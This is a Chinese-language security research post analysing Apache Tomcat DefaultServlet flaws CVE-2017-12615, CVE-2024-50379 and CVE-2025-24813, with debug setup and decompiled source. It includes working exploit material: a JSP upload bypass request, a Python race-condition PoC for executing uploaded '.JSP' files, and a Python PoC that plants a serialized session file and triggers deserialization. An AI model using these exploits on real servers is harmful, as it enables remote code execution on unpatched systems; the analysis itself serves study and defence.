本篇文章仅用于技术交流学习和研究的目的,严禁使用文章中的技术用于非法目的和破坏。
CVE-2017-12615
环境搭建
这里用Docker搭建环境。Dockerfile:
FROM tomcat:8.5.19-alpine
COPY context.xml web.xml /usr/local/tomcat/conf/
COPY debug.sh catalina.sh /usr/local/tomcat/bin/
WORKDIR /usr/local/tomcat/bin/
RUN chmod +x debug.sh && \
chmod +x catalina.sh
CMD ["./debug.sh"]
debug.sh
代码如下:
#!/bin/bash
./startup.sh
sleep 1000000
覆盖catalina.sh
,向文件开头加入以下代码,用于debug。
export JAVA_OPTS='-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005'
在web.xml
中配置DefaultServlet的开启:
<servlet>
<servlet-name>defalut</servlet-name>
<servlet-class>org.apache.catalina.servlets.DefaultServlet</servlet-class>
<init-param>
<param-name>debug</param-name>
<param-value>0</param-value>
</init-param>
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>1</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>defalut</servlet-name>
<url-pattern>/</url-pattern>
</servlet-mapping></web-app>
容器其中之后将lib目录下的文件复制出来导入IDEA即可:
docker cp tomcat:/usr/local/tomcat/lib ./
docker run如果句柄不够需要加上以下参数:
--ulimit nofile=65535:65535
漏洞分析
Tomcat爆出过多个关于DefaultServlet的漏洞。它是Tomcat中自带的一个Servlet,但默认不开启,位于/lib/catalina.jar!/org/apache/catalina/servlets/
下。
DefaultServlet
定义了doPut
方法:
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
resp.sendError(403);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
InputStream resourceInputStream = null;
try {
if (range != null) {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
if (this.resources.write(path, (InputStream)resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
} else {
resp.sendError(409);
}
} finally {
if (resourceInputStream != null) {
try {
((InputStream)resourceInputStream).close();
} catch (IOException var13) {
}
}
}
}
}
当this.readOnly
为false时才可以写文件,对应web.xml
里配置的参数。
从request body中获取输入流,文件名是webapps/ROOT
拼接上URL path。
发送以下PUT数据包:
最终文件路径就是
webapps/ROOT/test.txt
。
但无法直接写入jsp文件。查看web.xml发现默认还有一个JSP的servlet:
<servlet>
<servlet-name>jsp</servlet-name>
<servlet-class>org.apache.jasper.servlet.JspServlet</servlet-class>
<init-param>
<param-name>fork</param-name>
<param-value>false</param-value>
</init-param>
<init-param>
<param-name>xpoweredBy</param-name>
<param-value>false</param-value>
</init-param>
<load-on-startup>3</load-on-startup>
</servlet>
<servlet-mapping>
<servlet-name>jsp</servlet-name>
<url-pattern>*.jsp</url-pattern>
<url-pattern>*.jspx</url-pattern>
</servlet-mapping>
对于path以jsp
或jspx
结尾的请求会交由JspServlet
处理。
这里可以用exp.jsp/
绕过。这个path依然是进入DefaultServlet
,而在后续的DirResourceSet#write
方法会处理成exp.jsp
。
这样就可以上传jsp文件了。
PUT /poc.jsp/ HTTP/1.1
Connection: close
Content-Length: 6
asdasd
其他绕过方式:
- windows会去除文件名结尾的空格
- windows下
exp.jsp::$DATA
CVE-2024-50379
9.0.0.M1 ≤ version ≤ 9.0.97
10.1.0-M1 ≤ version ≤ 10.1.33
11.0.0-M1 ≤ version ≤ 11.0.1
环境搭建
环境用的是tomcat windows 9.0.1,和上面一样配置好web.xml
,在bin
目录下写一个debug.bat
文件:
set JPDA_ADDRESS=5005
set JPDA_TRANSPORT=dt_socket
set CATALINA_OPTS=-server -Xdebug -Xnoagent -Djava.compiler=NONE -Xrunjdwp:transport=dt_socket,server=y,suspend=n,address=5005
startup
运行这个文件即可debug。
漏洞分析
当访问以.jsp
或.jspx
结尾的文件时会进入JspServlet
处理,会尝试查找相应的JSP文件。最终会调用到org.apache.catalina.webresources.AbstractFileResourceSet#file
方法,堆栈如下:
org.apache.catalina.webresources.AbstractFileResourceSet#file
org.apache.catalina.webresources.DirResourceSet#getResource
org.apache.catalina.webresources.StandardRoot#getResourceInternal
org.apache.catalina.webresources.CachedResource#validateResource
org.apache.catalina.webresources.Cache#getResource
org.apache.catalina.webresources.StandardRoot#getResource
org.apache.catalina.webresources.StandardRoot#getResource
org.apache.catalina.core.ApplicationContext#getResource
org.apache.catalina.core.ApplicationContextFacade#getResource
org.apache.jasper.servlet.JspServlet#serviceJspFile
org.apache.jasper.servlet.JspServlet#service
javax.servlet.http.HttpServlet#service
其代码如下:
protected final File file(String name, boolean mustExist) {
if (name.equals("/")) {
name = "";
}
File file = new File(this.fileBase, name);
if (name.endsWith("/") && file.isFile()) {
return null;
} else if (mustExist && !file.canRead()) {
return null;
} else if (this.getRoot().getAllowLinking()) {
return file;
} else if (JrePlatform.IS_WINDOWS && this.isInvalidWindowsFilename(name)) {
return null;
} else {
String canPath = null;
try {
canPath = file.getCanonicalPath();
} catch (IOException var6) {
}
if (canPath != null && canPath.startsWith(this.canonicalBase)) {
String absPath = this.normalize(file.getAbsolutePath());
if (this.absoluteBase.length() > absPath.length()) {
return null;
} else {
absPath = absPath.substring(this.absoluteBase.length());
canPath = canPath.substring(this.canonicalBase.length());
if (canPath.length() > 0) {
canPath = this.normalize(canPath);
}
return !canPath.equals(absPath) ? null : file;
}
} else {
return null;
}
}
}
假如发送如下数据包:
GET /evil.jsp HTTP/1.1
Connection: close
这里获取了两个path:absPath
和canPath
,absPath
是URL中的PATH也就是/evil.jsp
。
而canPath
比较特殊,如果webapps下有evil.JSP
,则canPath
的值为/evil.JSP
,因为在windows不区分大小写。但此时因为canPath
与absPath
不同,函数会返回null。
return之后,回到org.apache.catalina.webresources.DirResourceSet#getResource
方法,代码如下:
public WebResource getResource(String path) {
this.checkPath(path);
String webAppMount = this.getWebAppMount();
WebResourceRoot root = this.getRoot();
if (path.startsWith(webAppMount)) {
File f = this.file(path.substring(webAppMount.length()), false);
if (f == null) {
return new EmptyResource(root, path);
} else if (!f.exists()) {
return new EmptyResource(root, path, f);
} else {
if (f.isDirectory() && path.charAt(path.length() - 1) != '/') {
path = path + '/';
}
return new FileResource(root, path, f, this.isReadOnly(), this.getManifest());
}
} else {
return new EmptyResource(root, path);
}
}
此时f = null
,会return一个EmptyResource
,最终返回404。
但如果webapps下没有evil.JSP
(无论大小写)。那么canPath
的值会跟absPath
相同。
此时file
方法会将这个指向/evil.jsp
的File对象返回。
紧接着getResource
方法会检查其是否存在:
此处的f.exists()
在windows写也不区分大小写。
所以这里存在一个竞争空间,大前提是目前无法直接上传jsp
和jspx
文件,但JspServlet
只接受这两种后缀,所以想通过条件竞争使得访问/evil.jsp
时可以执行/evil.JSP
文件
如果在file
方法执行时evil.JSP
不存在,而到了getResource
方法里写入了evil.JSP
,那么就可以通过JspServlet
执行evil.JSP
文件了。
POC:
import requests
import string
import random
import threading
url = 'http://'
payload = '''
POC
'''.strip()
def generate_random_string(length):
characters = string.ascii_lowercase + string.digits
return ''.join(random.choices(characters, k=length))
def put_file(filename : str):
requests.put(url=url + '/' + filename + '.JSP', data=payload)
def get_file(filename : str):
res = requests.get(url=url + '/' + filename + '.jsp')
if res.status_code != 404:
print()
print("[+] exploit success")
if __name__ == "__main__":
filename = generate_random_string(8)
get_thread = threading.Thread(target=get_file, args=[filename])
put_thread = threading.Thread(target=put_file, args=[filename])
get_thread.start()
put_thread.start()
get_thread.join()
put_thread.join()
多试几次就能成功。但这个过程会上传很多文件:
不过如果给DefaultServlet
配置了readOnly为false的话,那么就可以用DELETE请求删除文件。详见WHOAMI师傅的blog
CVE-2025-24813
9.0.0.M1 <= tomcat <= 9.0.98
10.1.0-M1 <= tomcat <= 10.1.34
11.0.0-M1 <= tomcat <= 11.0.2
环境搭建
环境依然是tomcat windows 9.0.1,开启DefaultServlet,和上面一样。
除此之外放一个commons-collections3.2.1的jar包到lib目录下。
还需要配置context.xml
开启SESSION持久化:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
漏洞分析
Tomcat曾经爆出过一个Session反序列化的漏洞,编号是:CVE-2020-9484
。
有关Session读取的方法FileStore#load
代码如下:
public Session load(String id) throws ClassNotFoundException, IOException {
File file = this.file(id);
if (file == null) {
return null;
} else if (!file.exists()) {
return null;
} else {
Context context = this.getManager().getContext();
Log contextLog = context.getLogger();
if (contextLog.isDebugEnabled()) {
contextLog.debug(sm.getString(this.getStoreName() + ".loading", new Object[]{id, file.getAbsolutePath()}));
}
ClassLoader oldThreadContextCL = context.bind(Globals.IS_SECURITY_ENABLED, (ClassLoader)null);
Throwable var7;
try {
FileInputStream fis = new FileInputStream(file.getAbsolutePath());
var7 = null;
try {
ObjectInputStream ois = this.getObjectInputStream(fis);
Throwable var9 = null;
try {
StandardSession session = (StandardSession)this.manager.createEmptySession();
session.readObjectData(ois);
session.setManager(this.manager);
StandardSession var11 = session;
return var11;
} catch (Throwable var49) {
var9 = var49;
throw var49;
} finally {
............
tomcat的Session机制类似PHP,将序列化数据保存在文件中,通过Cookie中的JSESSIONID来查找文件并通过session.readObjectData(ois);
触发反序列化。而旧版本中JSESSIONID没有过滤..
导致可以目录穿越从而反序列化任意文件。
而CVE-2025-24813
的利用方法是直接向Session存储目录下写文件。
DefaultServlet#doPut
方法会从Header中获取Range,如果指定了Range则会先进入executePartialPut
方法写入临时文件,然后再写入webapps下。代码如下:
protected void doPut(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
if (this.readOnly) {
resp.sendError(403);
} else {
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
InputStream resourceInputStream = null;
try {
if (range != null) {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
} else {
resourceInputStream = req.getInputStream();
}
.........
Range的写法是Content-Range: bytes 0-100/110
Windows下临时文件默认的临时路径为{tomcat_base_path}\work\Catalina\localhost\ROOT
。其他系统路径可能不同,但Session文件的默认存储位置跟存放临时文件的路径是一样的。
tomcat查找Session文件的过程是:
- 从Cookie中获得JSESSIONID
- JSESSIONID后面加上
.session
后缀 - 然后再Session存储路径下查找该文件。
executePartialPut
方法代码如下:
protected File executePartialPut(HttpServletRequest req, Range range, String path) throws IOException {
File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir");
String convertedResourcePath = path.replace('/', '.');
File contentFile = new File(tempDir, convertedResourcePath);
if (contentFile.createNewFile()) {
contentFile.deleteOnExit();
}
RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");
Throwable var8 = null;
............
会将/
换成.
,所以用/exp.session
和/exp/session
均可以写入.exp.session
文件。
需要注意,这个过程中会根据提供的Range写入数据:
所以Header中的Range要足够大。
利用流程是:
- 通过
executePartialPut
将序列化数据写入.exp.session
- 携带
Cookie:JSESSIONID=.exp
即可将文件内容反序列化。
POC:
import requests
import string
import random
def generate_random_string(length):
characters = string.ascii_lowercase + string.digits
return ''.join(random.choices(characters, k=length))
url = 'http://'
filename = generate_random_string(8)
# 反序列化payload
payload = open('ser.bin', 'rb').read()
# 上传
requests.put(url=url + '/' + filename + '.session', headers={"Content-Range" : "bytes 0-{}/5000".format(len(payload) + 1)}, data=payload)
# 触发Session反序列化
requests.get(url=url + '/index.jsp', cookies={"JSESSIONID" : "." + filename})
这里需要自己在webapps/ROOT
下写一个index.jsp
,不然会报404,不会触发Session反序列化。
参考
https://whoamianony.top/posts/apache-tomcat-rce-via-write-enabled-default-servlet/